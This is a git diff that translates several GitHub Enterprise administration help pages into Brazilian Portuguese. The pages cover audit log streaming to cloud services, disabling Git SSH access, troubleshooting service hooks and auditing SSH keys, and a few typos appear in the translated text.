-* **Data continuity**. You can pause the stream for up to seven days without losing any audit data.
-* **Data retention**. You can keep your exported audit logs and Git data as long as you need to.
+* **Exploração de dados**. Você pode examinar eventos transmitidos usando sua ferramenta preferida para consultar grandes quantidades de dados. A transmissão contém eventos de auditoria e Git em toda a conta corporativa.
+* **Continuidade dos dados**. Você pode pausar a transmissão por até sete dias sem perder nenhum dado da auditoria.
+* **Retenção de dados**. Você pode manter seus registros de auditoria exportados e dados do Git pelo tempo que precisar.
 
-Enterprise owners can set up, pause, or delete a stream at any time. The stream exports the audit data for all of the organizations in your enterprise.
+Os proprietários das empresas podem configurar, pausar ou excluir uma transmissão a qualquer momento. A transmissão exporta os dados de auditoria para todas as organizações da sua empresa.
 
-## Setting up audit log streaming
+## Configurando a transmissão do log de auditoria
 
-You set up the audit log stream on {% data variables.product.product_name %} by following the instructions for your provider.
+Você configurou o fluxo do log de auditoria em {% data variables.product.product_name %} seguindo as instruções do seu provedor.
 
 - [Amazon S3](#setting-up-streaming-to-amazon-s3)
-- [Azure Event Hubs](#setting-up-streaming-to-splunk)
-- [Google Cloud Storage](#setting-up-streaming-to-google-cloud-storage)
+- [Centros de evento do Azure](#setting-up-streaming-to-splunk)
+- [Armazenamento do Google Cloud](#setting-up-streaming-to-google-cloud-storage)
 - [Splunk](#setting-up-streaming-to-splunk)
 
-### Setting up streaming to Amazon S3
+### Configurando a transmissão para o Amazon S3
 
-To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. 
+Para transmitir os logs de auditoria para o ponto de extremidade do Amazon S3, você deve ter um bucket e chaves de acesso. Para obter mais informações, consulte [Criando, configurando e trabahlando com buckets do Amazon S3 ](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) na documentação do AWS. Certifique-se de bloquear o acesso público ao bucket para proteger as suas informações de log de auditoria.
 
-To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need:
-* The name of your Amazon S3 bucket
-* Your AWS access key ID
-* Your AWS secret key
+Para configurar a tarnsmissão do de log de auditoria de {% data variables.product.prodname_dotcom %} você vai precisar:
+* O nome do seu bucket do Amazon S3
+* Seu ID de acesso ao AWS
+* Sua chave de segredo para o AWS
 
-For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation.
+Para obter informações sobre como criar ou acessar sua chave de acesso e chave secreta, consulte [Entendendo e obtendo suas credenciais AWS](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) na documentação do AWS.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Amazon S3**.
-   ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
-1. On the configuration page, enter:
-   * The name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
-   * Your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`.
-   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+1. Clique **Configurar transmissão** e selecione **Amazon S3**. ![Escolha o Amazon S3 no menu suspenso](/assets/images/help/enterprises/audit-stream-choice-s3.png)
+1. Na página de configuração, insira:
+   * O nome do bucket para o qual você deseja transmitir. Por exemplo, `auditlog-streaming-test`.
+   * Seu ID da chave de acesso. Por exemplo, `ABCAIOSFODNN7EXAMPLE1`.
+   * Sua chave do segredo. Por exemplo, `aBJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. ![Insira as configurações da transmissão](/assets/images/help/enterprises/audit-stream-add-s3.png)
+1. Clique **Verificar ponto de extremidade** para verificar se {% data variables.product.prodname_dotcom %} pode conectar-se ao ponto de extremidade do Amazon S3. ![Verificar o ponto de extremidade](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-### Setting up streaming to Azure Event Hubs
+### Configurando a transmissão para os Centros de Evento do Azure
 
-Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." 
+Antes de configurar uma transmissão em {% data variables.product.prodname_dotcom %}, primeiro você deve ter o namespace do centro de um evento no Microsoft Azure. Em seguida, você deve criar uma instância do centro de um evento dentro do namespace. Você precisará das informações da instância do centro desse evento ao configurar a transmissão. Para obter mais informações, consulte a documentação da Microsoft, "[Início rápido: Criar um centro de eventos usando o portal do Azure](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)".
 
-You need two pieces of information about your event hub: its instance name and the connection string. 
+Você precisa de duas informações sobre seu centro de eventos: o nome da sua instância e a sequência de caracteres de conexão.
 
-**On Microsoft Azure portal**:
-1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. 
-   ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
-1. Make a note of the name of the event hub you want to stream to.
-1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**.
-1. Select a shared access policy in the list of policies, or create a new policy.
-   ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
-1. Click the button to the right of the **Connection string-primary key** field to copy the connection string.
-   ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
+**No portal do Microsoft Azure**:
+1. No menu à esquerda selecione **Entidades**. Em seguida, selecione **Centros de Eventos**. Os nomes dos centros de eventos serão listados. ![Uma lista de centros de eventos](/assets/images/help/enterprises/azure-event-hubs-list.png)
+1. Faça uma observação do nome do centro do evento para o qual você deseja transmitir.
+1. Clique no centro de eventos necessário. Em seguida, no menu à esquerda, selecione **Políticas de Acesso Compartilhado**.
+1. Selecione uma política de acesso compartilhada na lista de políticas ou crie uma nova política. ![Uma lista de políticas de acesso compartilhadas](/assets/images/help/enterprises/azure-shared-access-policies.png)
+1. Clique no botão à direita do campo **Tecla primária da string de conexão** para copiar a string de conexão. ![A string de conexão do centro do evento](/assets/images/help/enterprises/azure-connection-string.png)
 
-**On {% data variables.product.prodname_dotcom %}**:
+**Em {% data variables.product.prodname_dotcom %}**:
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Azure Event Hubs**.
-   ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
-1. On the configuration page, enter:
-   * The name of the Azure Event Hubs instance.
-   * The connection string.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+1. Clique **Configurar a transmissão ** e selecione **Centros de Evento do Azure**. ![Selecione Centro de Eventos do Azure no menu suspenso](/assets/images/help/enterprises/audit-stream-choice-azure.png)
+1. Na página de configuração, insira:
+   * O nome da instância do Centro de Eventos do Azure.
+   * A string de conexão. ![Insira as configurações da transmissão](/assets/images/help/enterprises/audit-stream-add-azure.png)
+1. Clique **Verificar ponto de extremidade** para verificar se {% data variables.product.prodname_dotcom %} pode conectar-se ao ponto de extremidade do Azure. ![Verificar o ponto de extremidade](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-### Setting up streaming to Google Cloud Storage
+### Configurando a transmissão para o Google Cloud Storage
 
-To set up streaming to Google Cloud Storage, you must create a service account in Google Cloud with the appropriate credentials and permissions, then configure audit log streaming in {% data variables.product.product_name %} using the service account's credentials for authentication.
+Para configurar a transmissão para o Google Cloud Storage, você deve criar uma conta de serviço no Google Cloud com as credenciais e permissões apropriadas e, em seguida, configurar a transmissão do log de auditoria em {% data variables.product.product_name %} usando as credenciais da conta de serviço para autenticação.
 
-1. Create a service account for Google Cloud. You do not need to set access controls or IAM roles for the service account. For more information, see [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) in the Google Cloud documentation.
-1. Create a JSON key for the service account, and store the key securely. For more information, see [Creating and managing service account keys](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) in the Google Cloud documentation.
-1. If you haven't created a bucket yet, create the bucket. For more information, see [Creating storage buckets](https://cloud.google.com/storage/docs/creating-buckets) in the Google Cloud documentation.
-1. Give the service account the Storage Object Creator role for the bucket. For more information, see [Using Cloud IAM permissions](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) in the Google Cloud documentation.
+1. Crie uma conta de serviço para o Google Cloud. Você não precisa definir os controles de acesso ou as funções do IAM para a conta de serviço. Para obter mais informações, consulte [Criar e gerenciar as contas de serviço](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) na documentação do Google Cloud.
+1. Crie uma chave JSON para a conta do serviço, e armazene a chave com segurança. Para obter mais informações, consulte [Criar e gerenciar chaves de conta de serviço](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) na documentação do Google Cloud.
+1. Se você ainda não criou um nucket, crie-o. Para obter mais informações, consulte [Criando buckets de armazenamento](https://cloud.google.com/storage/docs/creating-buckets) na documentação do Google Cloud.
+1. Dê à conta de serviço a função do Storage Object Creator para o bucket. Para obter mais informações, consulte [Usando permissões de IAM da nuvem](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) na documentação do Google Cloud.
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Select the Configure stream drop-down menu and click **Google Cloud Storage**.
+1. Selecione o menu suspenso de configurar transmissão e clique em **Google Cloud Storage**.
 
-   ![Screenshot of the "Configure stream" drop-down menu](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png)
+   ![Captura de tela do meu suspenso "Configurar fluxo"](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png)
 
-1. Under "Bucket", type the name of your Google Cloud Storage bucket.
+1. Em "Bucket", digite o nome do seu bucket do Google Cloud Storage.
 
-   ![Screenshot of the "Bucket" text field](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png)
+   ![Captura de tela do campo de texto do "Bucket"](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png)
 
-1. Under "JSON Credentials", paste the entire contents of the file for your service account's JSON key.
+1. Em "Credenciais do JSON ", cole todo o conteúdo do arquivo para a chave do JSON da sua conta de serviço.
 
-   ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
+   ![Captura de tela do campo de texto das "Credenciais do JSON"](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
 
-1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. 
+1. Para verificar que {% data variables.product.prodname_dotcom %} pode conectar e escrever no banco de armazenamento do Google Cloud Storage, clique em **Verificar ponto de extremidade**.
 
-   ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
+   ![Captura de tela do botão "Verificar ponto de extremidade"](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
 
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-### Setting up streaming to Splunk
+### Configurando a transmissão para o Splunk
 
-To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
+Para transmitir os logs de auditoria para o Coletor de Eventos HTTP (HEC) do Splunk, você deverá garantir que o ponto de extremidade esteja configurado para aceitar conexões HTTPS. Para obter mais informações, consulte [Configurar e usar o Coletor de Eventos de HTTP no Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) na documentação do Splunk.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Splunk**.
-   ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
-1. On the configuration page, enter:
-   * The domain on which the application you want to stream to is hosted.
-  
-     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. 
+1. Clique **Configurar transmissão** e selecione **Splunk**. ![Escolha Splunk no menu suspenso](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
+1. Na página de configuração, insira:
+   * O domínio para o qual o aplicativo deseja que você transmita está hospedado.
 
-   * The port on which the application accepts data.<br>
+     Se você estiver usando a Nuvem do Splunk, o `Domínio` deverá ser `http-input- http<host>`, em que `host` é o domínio que você usa na nuvem do Splunk. Por exemplo: `http-inputs-mycompany.splunkcloud.com`.
 
-     If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`.
+   * A porta sobre a qual o aplicativo aceita dados.<br>
 
-   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
+     Se você estiver usando a Nuvem do Splunk, a `Porta` deverá ser `443` se você não mudou a configuração da porta. Se você estiver usando a versão de teste gratuito da Nuvem do Splunk, a `Porta` deverá ser `8088`.
 
-1. Leave the **Enable SSL verification** check box selected.
+   * Um token que {% data variables.product.prodname_dotcom %} pode usar para efetuar a autenticação no aplicativo de terceiros. ![Insira as configurações da transmissão](/assets/images/help/enterprises/audit-stream-add-splunk.png)
 
-    Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled.
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
+1. Deixe a caixa de seleção **Habilitar verificação SSL** marcada.
+
+    Os logs de auditoria são sempre transmitidos como dados criptografados. No entanto, com esta opção selecionada, {% data variables.product.prodname_dotcom %} verifica o certificado SSL da sua instância do Splunk ao realizar os eventos. A verificação SSL ajuda a garantir que os eventos sejam entregues no ponto de extremidade da sua URL de forma segura. Você pode limpar a seleção desta opção, mas recomendamos que saia da verificação SSL habilitada.
+1. Clique **Check endpoint** para verificar se {% data variables.product.prodname_dotcom %} pode conectar-se ao ponto de extremidade do Splunk. ![Verificar o ponto de extremidade](/assets/images/help/enterprises/audit-stream-check-splunk.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
-## Pausing audit log streaming
+## Pausando a transmissão do log de auditoria
 
-Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.product.product_location %} and are then exported when you unpause the stream.
+A pausa da transmissão permite que você execute a manutenção no aplicativo de recebimento sem perder dados de auditoria. Os logs de auditoria são armazenados por até sete dias em {% data variables.product.product_location %} e, em seguida, são exportados quando você suspender a pausa da transmissão.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Pause stream**.
-   ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
-1. A confirmation message is displayed. Click **Pause stream** to confirm.
+1. Clique **Pausar transmissão**. ![Pausar a transmissão](/assets/images/help/enterprises/audit-stream-pause.png)
+1. Uma mensagem de confirmação é exibida. Clique **Pausar transmissão** para confirmar.
 
-When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs.
+Quando o aplicativo estiver pronto para receber registros de auditoria novamente, clique em **Retomar a transmissão** para reiniciar os logs de auditoria da transmissão.
 
-## Deleting the audit log stream
+## Excluindo a transmissão do log de auditoria
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Delete stream**.
-   ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
-2. A confirmation message is displayed. Click **Delete stream** to confirm.
+1. Clique **Excluir Transmissão**. ![Excluir a transmissão](/assets/images/help/enterprises/audit-stream-delete.png)
+2. Uma mensagem de confirmação é exibida. Clique **Excluir transmissão** para confirmar.
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
index 8ee2d906ec..d22ff3f786 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Viewing the audit logs for organizations in your enterprise
-intro: Enterprise owners can view aggregated actions from all of the organizations owned by an enterprise account in its audit log.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Visualizando os logs de auditoria para organizações da sua empresa
+intro: Os proprietários corporativos podem exibir ações agregadas de todas as organizações pertencentes a uma conta corporativa no log de auditoria.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
@@ -16,20 +15,21 @@ topics:
   - Enterprise
   - Logging
   - Organizations
-shortTitle: View organization audit logs
+shortTitle: Visualizar logs de auditoria da organização
 ---
-Each audit log entry shows applicable information about an event, such as:
 
-- The organization an action was performed in
-- The user who performed the action
-- Which repository an action was performed in
-- The action that was performed
-- Which country the action took place in
-- The date and time the action occurred
+Cada entrada do log de auditoria mostra informações aplicáveis sobre um evento, como:
 
-You can search the audit log for specific events and export audit log data. For more information on searching the audit log and on specific organization events, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
+- A organização em que foi executada uma ação
+- O usuário que executou a ação
+- Em qual repositório uma ação foi executada
+- A ação que foi executada
+- Em que país a ação foi executada
+- A data e a hora que a ação foi executada
 
-You can also stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit logs for organizations in your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."
+Você pode procurar eventos específicos no log de auditoria e exportar dados do log de auditoria. Para obter mais informações sobre como pesquisar no log de auditoria e sobre eventos de organização específicos, consulte "[Revisar o log de auditoria da organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)".
+
+Você também pode transmitir dados de eventos de auditoria e do Git de {% data variables.product.prodname_dotcom %} para um sistema externo de gerenciamento de dados. Para obter mais informações, consulte "[Transmissão dos logs de auditoria para organizações na sua conta corporativa](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
diff --git a/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
index e02538d16a..30d5b7a4c8 100644
--- a/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Disabling Git SSH access on your enterprise
+title: Desabilitar o acesso ao SSH do Git na sua empresa
 redirect_from:
   - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account
   - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account
@@ -14,7 +14,7 @@ redirect_from:
   - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-your-enterprise
-intro: You can prevent people from using Git over SSH for certain or all repositories on your enterprise.
+intro: Você pode impedir que as pessoas usem o Git através do SSH para certos ou todos os repositórios da sua empresa.
 versions:
   ghes: '*'
   ghae: '*'
@@ -24,9 +24,10 @@ topics:
   - Policies
   - Security
   - SSH
-shortTitle: Disable SSH for Git
+shortTitle: Desabilitar SSH para Git
 ---
-## Disabling Git SSH access to a specific repository
+
+## Desabilitar o acesso por SSH do Git a repositórios específicos
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -36,10 +37,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-1. Under "Git SSH access", use the drop-down menu, and click **Disabled**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
+1. Em "Git SSH access" (Acesso por SSH do Git), use o menu suspenso e clique em **Disabled** (Desabilitado). ![Menu suspenso de acesso por SSH do Git com a opção Desabilitado](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
 
-## Disabling Git SSH access to all repositories owned by a user or organization
+## Desabilitar o acesso por SSH do Git a todos os repositórios pertencentes a um usuário ou organização
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user-or-org %}
@@ -47,10 +47,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
+7. Em "Git SSH access" (Acesso por SSH do Git), use o menu suspenso e clique em **Disabled** (Desabilitado). Em seguida, selecione **Enforce on all repositories** (Aplicar a todos os repositórios). ![Menu suspenso de acesso por SSH do Git com a opção Desabilitado](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
 
-## Disabling Git SSH access to all repositories in your enterprise
+## Desabilitar acesso SSH do Git para todos os repositórios da sua empresa
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -59,5 +58,4 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
+7. Em "Git SSH access" (Acesso por SSH do Git), use o menu suspenso e clique em **Disabled** (Desabilitado). Em seguida, selecione **Enforce on all repositories** (Aplicar a todos os repositórios). ![Menu suspenso de acesso por SSH do Git com a opção Desabilitado](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
index 90b442a4b8..0d21d32791 100644
--- a/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
+++ b/translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting service hooks
-intro: 'If payloads aren''t being delivered, check for these common problems.'
+title: Solução de problemas com hooks de serviço
+intro: 'Se as cargas não estiverem sendo entregues, verifique se há problemas comuns.'
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-service-hooks
   - /enterprise/admin/developer-workflow/troubleshooting-service-hooks
@@ -11,38 +11,33 @@ versions:
   ghae: '*'
 topics:
   - Enterprise
-shortTitle: Troubleshoot service hooks
+shortTitle: Solução de problemas de hooks de serviço
 ---
-## Getting information on deliveries
 
-You can find information for the last response of all service hooks deliveries on any repository.
+## Obter informações nas entregas
+
+Você pode encontrar informações sobre a resposta mais recente de todas as entregas de hooks de serviço em qualquer repositório.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-  ![Hook Details](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
-5. Under **Remote Calls**, you'll see the headers that were used when POSTing to the remote server along with the response that the remote server sent back to your installation.
+2. Navegue até o repositório que você está investigando.
+3. Clique no link **Hooks** na barra de navegação lateral. ![Barra lateral de hooks](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Clique no link **Latest Delivery** (Entrega mais recente) no hook de serviço que apresentou problemas. ![Detalhes de hooks](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
+5. Em **Remote Calls** (Chamadas remotas), você verá os cabeçalhos usados durante o POST para o servidor remoto e a resposta que o servidor remoto enviou de volta à instalação.
 
-## Viewing the payload
+## Exibir a carga
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. Click **Delivery**.
-  ![Viewing the payload](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
+2. Navegue até o repositório que você está investigando.
+3. Clique no link **Hooks** na barra de navegação lateral. ![Barra lateral de hooks](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Clique no link **Latest Delivery** (Entrega mais recente) no hook de serviço que apresentou problemas.
+5. Clique em **Entrega**. ![Exibir a carga](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
 
-## Viewing past deliveries
+## Exibir entregas anteriores
 
-Deliveries are stored for 15 days.
+As entregas ficam armazenadas por 15 dias.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. To view other deliveries to that specific hook, click **More for this Hook ID**:
-  ![Viewing more deliveries](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
+2. Navegue até o repositório que você está investigando.
+3. Clique no link **Hooks** na barra de navegação lateral. ![Barra lateral de hooks](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Clique no link **Latest Delivery** (Entrega mais recente) no hook de serviço que apresentou problemas.
+5. Para exibir outras entregas de um hook específico, clique em **More for this Hook ID** (Mais informações sobre este ID de hook): ![Exibir mais entregas](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
index b7fb055a49..dcad81aa13 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Auditing SSH keys
-intro: Site administrators can initiate an instance-wide audit of SSH keys.
+title: Auditar chaves SSH
+intro: Os administradores do site podem iniciar uma auditoria em toda a instância das chaves SSH.
 redirect_from:
   - /enterprise/admin/articles/auditing-ssh-keys
   - /enterprise/admin/user-management/auditing-ssh-keys
@@ -15,51 +15,52 @@ topics:
   - Security
   - SSH
 ---
-Once initiated, the audit disables all existing SSH keys and forces users to approve or reject them before they're able to clone, pull, or push to any repositories. An audit is useful in situations where an employee or contractor leaves the company and you need to ensure that all keys are verified.
 
-## Initiating an audit
+Depois de iniciada, a auditoria desabilita todas as chaves SSH e força os usuários a aprová-las ou rejeitá-las antes que eles possam clonar, fazer pull ou fazer push para qualquer repositório. Auditorias são úteis nos casos em que um funcionário ou contratado sai da empresa e você deve garantir a verificação de todas as chaves.
 
-You can initiate an SSH key audit from the "All users" tab of the site admin dashboard:
+## Iniciar uma auditoria
 
-![Starting a public key audit](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
+Você pode iniciar uma auditoria de chave SSH na guia "All users" (Todos os usuários) do painel de administração do site:
 
-After you click the "Start public key audit" button, you'll be taken to a confirmation screen explaining what will happen next:
+![Iniciar auditoria de chave pública](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
 
-![Confirming the audit](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
